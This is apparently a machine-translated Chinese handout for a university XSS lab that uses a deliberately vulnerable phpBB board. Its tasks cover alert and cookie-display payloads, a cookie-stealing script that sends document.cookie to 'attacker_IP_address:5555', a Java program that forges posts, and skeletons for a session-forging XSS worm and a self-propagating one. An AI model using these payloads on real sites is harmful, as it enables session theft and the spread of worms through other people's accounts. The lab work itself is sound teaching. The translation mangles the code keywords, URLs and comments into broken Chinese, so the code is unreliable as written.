跨站点脚本(XSS)攻击实验室

1概述

跨站点脚本编写(XSS)是web应用程序中常见的一种漏洞类型。这个漏洞使得攻击者有可能注入恶意代码。进入受害者的网络浏览器。使用这个恶意代码，攻击者可以窃取受害者的凭证，比如Cookie。浏览器用于保护这些凭据的访问控制策略（即，相同的起源策略）可以通过利用XSS漏洞来绕过。这类漏洞可能会导致大规模的攻击。

为了演示攻击者利用XSS漏洞可以做些什么，我们使用phpBB建立了一个基于web的留言板。我们修改了该软件，在此留言板中引入了一个XSS漏洞；该漏洞允许用户向留言板发布任何任意消息，包括JavaScript程序。学生需要利用这个漏洞，在留言板上发布一些恶意消息；查看这些恶意消息的用户将成为受害者。袭击者的目标是为受害者发布伪造的信息。

2实验室环境

在这个实验室中，我们将需要三件事：（1）的火狐网络浏览器，（2）的apacheweb服务器，和（3）的phpBB留言板web应用程序。对于浏览器，我们需要使用火狐的LiveHTTPHeaders扩展来检查HTTP请求和响应。提供给你的预先构建的UbuntuVM映像已经安装了具有所需扩展的火狐浏览器。

启动Apache服务器。apacheweb服务器也包含在预构建的Ubuntu图像中。但是，默认情况下不会启动web服务器。您必须首先使用以下两个命令之一来启动Web服务器：

```
%sudoapache2ctl启动
```

或

```
%sudo服务apache2启动
```

phpBBWeb应用程序。phpBBweb应用程序已经设置在预构建的UbuntuVM图像中。我们还在phpBB服务器中创建了几个用户帐户。密码信息可以从首页上的帖子中获得。您可以使用以下URL访问phpBB服务器(需要首先启动apache服务器)：

```
http://www.xsslabphpbb.com
```

配置DNS。这个URL只能从虚拟机内部访问，因为我们已经修改了/etc/hosts文件来映射域名(www。xsslabphpbb .到虚拟机的本地IP地址（127.0.0.1）。您可以使用/etc/主机将任何域名映射到一个特定的IP地址。例如，您可以映射http://www。样例通过将以下条目附加到/etc/主机文件中到本地IP地址：

127.0.0.1 www.样例com

因此，如果您的web服务器和浏览器运行在两台不同的机器上，那么您需要相应地修改浏览器机器上的/etc/hosts文件，以映射www。xsslabphpbb .com网络
服务器的IP地址。

配置Apache服务器。在预构建的VM映像中，我们使用Apache服务器来托管实验室中使用的所有网站。Apache中基于名称的虚拟托管特性可以用于在同一台机器上托管多个网站(或url)。在“/etc/apache2/站点可用”的目录中，一个名为默认值的配置文件包含了该配置所需的指令：

1. 指令“名称虚拟主机”*“指示web服务器使用机器中的所有IP地址(某些机器可能有多个IP地址)。
2. 每个网站都有一个虚拟主机块，该块指定网站的URL和包含网站源的文件系统中的目录。例如，要配置一个具有URLhttp://www的网站。example1 .配置一个网站与来源在目录/var/www/Example_1/，并配置一个网站与URLhttp://www。example2 .com与源在目录/var/www/Example_2/，我们使用以下块：

```
<VirtualHost* >
     ServerName http://www.example1.com
     DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost* >
     ServerName http://www.example2.com
     DocumentRoot /var/www/Example_2/
</VirtualHost>
```

您可以通过访问上述目录中的源代码来修改web应用程序。例如，通过上述配置，web应用程序http://www。example1 .可以通过修改目录/var/www/Example_1/中的源代码来更改com。

其他软件。一些实验室任务需要对JavaScript的基本熟悉。如有必要，我们将提供一个示例JavaScript程序来帮助学生开始学习。为了完成任务3，学生可能需要一个实用程序来监视特定TCP端口上的传入请求。我们提供了一个C程序，它可以配置为侦听一个特定的端口并显示传入的消息。C程序可以从本实验室的网站上下载。

指导者注意事项

该实验室可以在一个有监督的实验室环境中进行。在这种情况下，教师可以在做实验前向学生提供以下背景信息：

1. 如何使用虚拟机，火狐网络浏览器，和实时的标题扩展。
2. JavaScript和XMLHttp请求对象的基础知识。
3. 对这些任务的简要概述。
4. 如何使用正在侦听一个端口的C程序。
5. 如何编写一个java程序来发送一个HTTP消息发布。

3实验室任务

.13任务1：发布恶意消息以显示警报窗口

此任务的目标是发布一条包含JavaScript的恶意消息，以显示一个警报窗口。JavaScript应该与消息中的用户注释一起提供。以下JavaScript将显示一个警报窗口：

```
<script>alert('XSS');</script>
```

如果您将此JavaScript与您的评论一起发布在留言板中，那么任何查看此评论的用户都将看到警报窗口。

3.2任务2：发布恶意消息来显示cookie

此任务的目的是在包含JavaScript代码的消息板上发布恶意消息，这样，当用户查看此消息时，用户的Cookie将被打印出来。例如，考虑以下包含JavaScript代码的消息：

```
<脚本>警报(文档。饼干)；</脚本>
大家好，
欢迎来到此留言板。
```

当用户查看此消息发布时，他/她将看到一个显示该用户Cookie的弹出消息框。

.33个任务3：从受害者的机器里偷饼干

在上次任务中，恶意的JavaScript代码可以打印出用户的Cookie；在此任务中，攻击者希望JavaScript代码将Cookie发送给自己。为了实现这一点，恶意的JavaScript代码可以向攻击者发送一个HTTP请求，并将Cookie附加到请求中。我们可以通过让恶意的JavaScript插入一个<img>标签，并将src设置为攻击者目的地的URL来做到这一点。当JavaScript插入img标签时，浏览器会试图从所提到的URL加载图像，并在此过程中最终向攻击者的网站发送一个HTTPGET请求。下面给出的JavaScript将Cookie发送到攻击者计算机上提到的端口5555。在特定端口上，攻击者有一个TCP服务器，它简单地打印出接收到的请求。TCP服务器程序将被提供给您（可在本实验室的网站上获得）。

```
大家好，
<script>document .写( ‘<imgsrc=http://attacker_IP_address：5555？’ c= ‘+转义(文档。饼干
                                    )+ ‘>’ )；</脚本>
这个脚本是于测试XSS。谢谢。
```

.43任务4：用偷来的饼干模仿受害者

在窃取了受害者的饼干后，攻击者可以对受害者的phpBBweb服务器做任何事情，包括以受害者的名字发布新消息，删除受害者的帖子，等等。在这个任务中，我们将编写一个程序来代表受害者发布一个信息帖子。

为了建立一个消息发布，我们应该首先分析phpBB在发布消息方面是如何工作的。更具体地说，我们的目标是找出当用户发布消息时发送到服务器的内容。Firefox的LiveHTTPHeaders扩展可以帮助我们；它可以显示从浏览器发送的任何HTTP请求消息的内容。从这些内容中，我们可以识别出消息的所有参数。图1给出了LiveHTTPHeaders的屏幕截图。LiveHTTPHeaders扩展可以从 http://livehttpheaders.mozdev.org/，并且它已经安装在预构建的UbuntuVM映像中。

一旦我们理解了消息发布的HTTP请求是什么样子的，我们就可以编写一个Java程序来发送相同的HTTP请求。phpBB服务器无法区分该请求是由用户的浏览器发送的，还是由攻击者的Java程序发送的。只要我们正确地设置了所有参数，服务器就会接受并处理消息发布的HTTP请求。为了简化您的任务，我们为您提供了一个示例java程序：

1. 打开到Web服务器的连接。
2. 设置必要的HTTP标头信息。
3. 将请求发送到Web服务器。
4. 从Web服务器获取响应。

```
导入java。io.  *；
导入java。网.  *；

公共类的最简单的部分是伪造的{

    公共静态空白主(字符串[]arg)抛出IOExxcepen{
    尝试{
            int responseCode;
            InputStream responseIn=null;

            //的网址将被伪造。
            URLuRL=新的URL(“http://www.xsslabphpbb.com/profile.php”) ;

            创建//URL连接实例以进一步参数化//超过URL实例//可以表示的状态成员的//资源请求。
            URLConnection urlConn = url .openConnection();
            如果(HttpURL连接的urlConn实例){
                    urlConn .setConnectTimeout (60000);
                    urlConn .setReadTimeout (90000);
            }
```

```
        //添加请求属性方法用于添加HTTP报头信息。//在这里，我们将用户代理HTTP报头添加到伪造的
        HTTP数据包中。urlConn .添加请求属性(“用户代理”，“SunJDK1”。6 ″）；

        //HTTP发布数据，其中包括要发送到服务器的信息。字符串数据=“用户名=管理和种子=管理%40种子。
        com ″;

        URL连接的//do输出标志应设置为true
        //发送HTTP发布消息。
        urlConn .设置DoOutput（真）；

        //输出输出用于写入HTTPPOST数据
        //到url连接。
        输出流作家和=新输出流作家。getOutputStream()); wr .写（数据）；
        wr .脸红

        //HttpURL连接由//url返回URL连接的一个子类。打开连接()，因为url是一个http请求。
        如果(HttpURL连接的urlConn实例){
                HttpURLConnection httpConn = (HttpURLConnection) urlConn;

                //会联系Web服务器，并从//HTTP响应消息中获取状态代码。
                responseCode = httpConn .getResponseCode();
                体系出局打印件（“响应代码=”+响应代码）；

                //HTTP状态代码HTTP_OK表示响应为
                //成功地收到。
                如果(响应代码==httpURL连接。http_ok) {

                        //从url连接对象中获取输入流。responseIn = urlConn
                        .getInputStream();

                        //为缓冲区阅读器创建一个实例
                        使用//来逐行读取响应。
                        buf_inp=新的缓冲区阅读器（新的输入流线型阅读器（响应输入））；
                        字符串输入行；
                        while((inputLine = buf_inp .readLine())! =null){系统。出局
                                打印（输入行）；
                        }
                }
        }
      捕获（异常）{
                e .printStackTrace();
      }
    }
}
```

如果您对理解上述程序有困难，我们建议您阅读以下内容：

. JDK6文档：http://java。太阳com/javase/6/docs/api/

.Java协议处理程序：
http://java.太阳com/developer/onlineTraining/protocolhandlers/

限制：伪造的消息帖子应该从同一个虚拟机i中生成。e.受害者(连接到web论坛的用户)和攻击者（生成伪造消息帖子的人）应该在同一台机器上，因为phpBB使用IP地址和Cookie来进行会话管理。如果攻击者从不同的机器生成伪造消息发布，伪造包的IP地址和受害者的IP地址将会不同，因此伪造消息发布将被phpBB服务器拒绝，尽管伪造消息携带正确的cookie信息。

3.5任务5：编写一个XSS蠕虫

在之前的任务中，我们已经学会了如何从受害者那里偷取饼干，然后使用偷来的饼干来伪造HTTP请求。在这个任务中，我们需要编写一个恶意的JavaScript来直接从受害者的浏览器中伪造一个HTTP请求。此攻击不需要攻击者的干预。可以实现这一点的JavaScript被称为跨站点脚本蠕虫程序。对于这个web应用程序，蠕虫程序应该执行以下操作：

1.使用JavaScript检索用户的会话ID。

2.伪造一个HTTP发布请求，以使用会话ID发布消息。

HTTP最常见的请求有两种类型，一种是HTTPGET请求，另一种是HTTPPOST请求。这两种类型的HTTP请求在向服务器发送请求内容的方式上有所不同。在phpBB中，发布消息的请求使用HTTPPOST请求。我们可以使用XMLHttpRequtd对象为web应用程序发送HTTPGET和POST请求。XMLHttpResqest只能将HTTP请求发送回服务器，而不是其他计算机，因为XMLHttpResket强制执行同源策略。这对我们来说不是一个问题，因为我们确实想使用XMLHttp请求将一个伪造的HTTPPOST请求发送回PhpBB服务器。要了解如何使用XMLHttp请求，您可以研究这些被引用的文档[1,2]。如果您不熟悉JavaScript编程，我们建议您阅读[3]来学习一些基本的JavaScript函数。您必须使用以下一些功能：

您可能还需要调试JavaScript代码。Firebug是一个火狐扩展，它可以帮助您调试JavaScript代码。它可以为您指向包含错误的精确位置。FireBug可以从https://插件上下载。莫西拉。org/en-US/firefox/addon/1843.它已经安装在我们预构建的UbuntuVM映像中。

代码骨架。我们提供了您需要编写的JavaScript代码的骨架。你需要填写所有必要的细节。当您在发布到phpBB消息板的消息中包含最终的JavaScript代码时，您需要删除所有的注释、额外的空格和新行字符。

```
<script>
var Ajax=null;

//构造Http请求构造头信息
Ajax=new XMLHttpRequest();
全称为打开（“POST”，http://www.xsslabphpbb.com/posting.php真正的
全称为setRequestHeader("Host","www.xsslabphpbb.com ");
全称为标题（“保持”，“300”）；
全称为设置请求标题（“连接”、“保持活动”）；
全称为设置请求标题(“Cookie”，文档。曲奇饼
全称为setRequestHeader("Content-Type","application/x-www-form-urlencoded");


//构建的内容。您可以学习这些内容的格式
```

```
//从LiveHttp标题。我们所需要填充的是var内容=“主题
=”+”XSSWorm”+。..；//你

//发送HTTP邮政请求。
全称为发送（内容）；
</script>
```

主题、信息和sid。
需要填写这些细节。

为了使我们的蠕虫能够工作，我们应该注意phpBB如何使用会话id信息。从LiveHTTPHeaders扩展的输出中，我们可以注意到sid在消息发布请求中出现了两次。一个是在饼干部分(它被称为phpbb2mysql_sid).因此，XMLHttpRequet发送的HTTPPOST请求也必须包括Cookie。我们已经在上面的骨架代码中为您做了。

如果我们仔细查看LiveHTTPHeaders的输出，我们可以看到相同的会话id也出现在以“主题=”开头的行中。phpBB服务器在这里使用会话id来防止其他类型的攻击(即。跨站点请求伪造攻击)。在我们伪造的消息发布请求中，我们还需要添加这个会话id信息；这个会话id的值与phpbb2mysql中的值完全相同_sid.如果请求中没有此会话id，服务器将丢弃该请求。

为了从Cookie中检索sid信息，您可能需要在JavaScript中学习一些字符串操作。你应该学习这个被引用的教程[4]。

3.6任务6：写一个自我传播的XSS蠕虫

在上一个任务中构建的蠕虫只代表受害者伪造信息；它不会自我传播。因此，从技术上讲，它不是一种蠕虫。为了能够自我传播，伪造的信息还应该包括一个蠕虫，所以每当有人点击伪造的信息时，就会创建一个新的携带相同蠕虫的伪造信息。这样，蠕虫就可以被传播了。点击伪造信息的人越多，蠕虫传播的速度就越快。

在此任务中，您需要展开在任务5中执行的内容，并将蠕虫的副本添加到伪造消息的主体中。以下指南将帮助您完成此任务：

1. 发布伪造信息的JavaScript程序已经是该网页的一部分了。因此，蠕虫代码可以使用DOMapi从网页中检索自己的副本。下面给出了一个使用DOMapi的例子。此代码获取其自身的一个副本，并将其显示在一个警报窗口中：

```
<script id=worm>
    varstrCode=文档。getElementById("worm");
    警报(strCode。innerHTML);
</script>
```

2. URL编码：所有通过HTTP传输的消息都使用URL编码，即根据URL编码方案将空格等所有非ascii字符转换为特殊代码。在蠕虫代码中，要在phpBB论坛中发布的消息应该使用URL编码进行编码。转义函数可用于对字符串进行URL编码。下面给出了一个使用编码函数的例子。

```
<script>
  =样本=“你好，世界”；
  样本=逃逸（样本样本）；
  警报(urlEncSample);
</script>
```

3. 在URL编码方案下，使用“+”符号来表示空间。在JavaScript程序中，“+”同时用于算术操作和字符串连接操作。为了避免这种歧义，您可以使用concat函数进行字符串连接，并避免使用加法。对于练习中的蠕虫代码，您不必使用附加内容。如果必须添加一个数字（例如+5），则可以使用减法（例如a-（-5））。

4提交

你需要提交一份详细的实验室报告来描述你所做的事情和你所观察到的事情。请提供使用LiveHTTp头、线鲨和/或屏幕截图的详细信息。你还需要对那些有趣或令人惊讶的观察结果提供解释。

参考文献

[1]AJAX为n00bs。可在以下网址上提供：

http://www.hunlock.网站/博客/AJAX_for_n00bs.

[2]AJAXPOST-It笔记。可在以下网址上提供：

http://www.hunlock.com/博客/AJAX_POST-It_Notes.

[3]基本指南--一个教程。可在以下网址上提供：

http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial.

[4]完整的[4]字符串引用。可在以下网址上提供：

http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference.

http://www.xsslabphpbb.com/posting.php

张贴/张贴。php HTTP/1 .1
主持人：www。xsslabphpbb.com
用户代理：Mozilla/5。0(X11；U；Linuxi686；
接受：文本/html，应用程序/xhtml+xml，应用程序/xml；q=0。9，*/ *；q = 0 .8接受-语言：en
-us，en；q=0. 5
接受-编码：gzip，放电
接受-字符集：ISO88591，utf8；q=0.7，*；q=0。7
保持活：300
连接：保持活力
裁判：http://www。xsslabphpbb.com/posting.php?mode=newtopic&f=1
饼干：phpbb2mysql_data=。.....;phpbb2mysql_sid= ......
内容类型：应用程序/形式
内容长度：376
主题=<消息>的内容

HTTP/1 .X200OK
日期：2009年6月11日星期四格林尼治时间19：43：15
服务器：Apache/2。.211(Ubuntu)PHP/5。.26-3
X-Power-由：PHP/5。.26-3ubuntu4 .1
设置-Cookie：phpbb2mysql_data=xxxxxxxxxxxx；到期=星期五，格林尼治时间；路径=/
设置-Cookie：phpbb2mysql_sid=yyyyyyyyyy；路径=/
设置-Cookie：phpbb2mysql_t=xxxxxxxxxxx；路径=/
缓存控制：私有，预检查=0，后检查=0，最大年龄=0
过期时间：0
Pragma：无缓存
不同：接受编码
内容编码：gzip
内容长度：3904
保持-活着：超时时间为=15，最大值为=100
连接：保持活力
内容类型：text/html

图1：LiveHTTPHeaders扩展的屏幕截图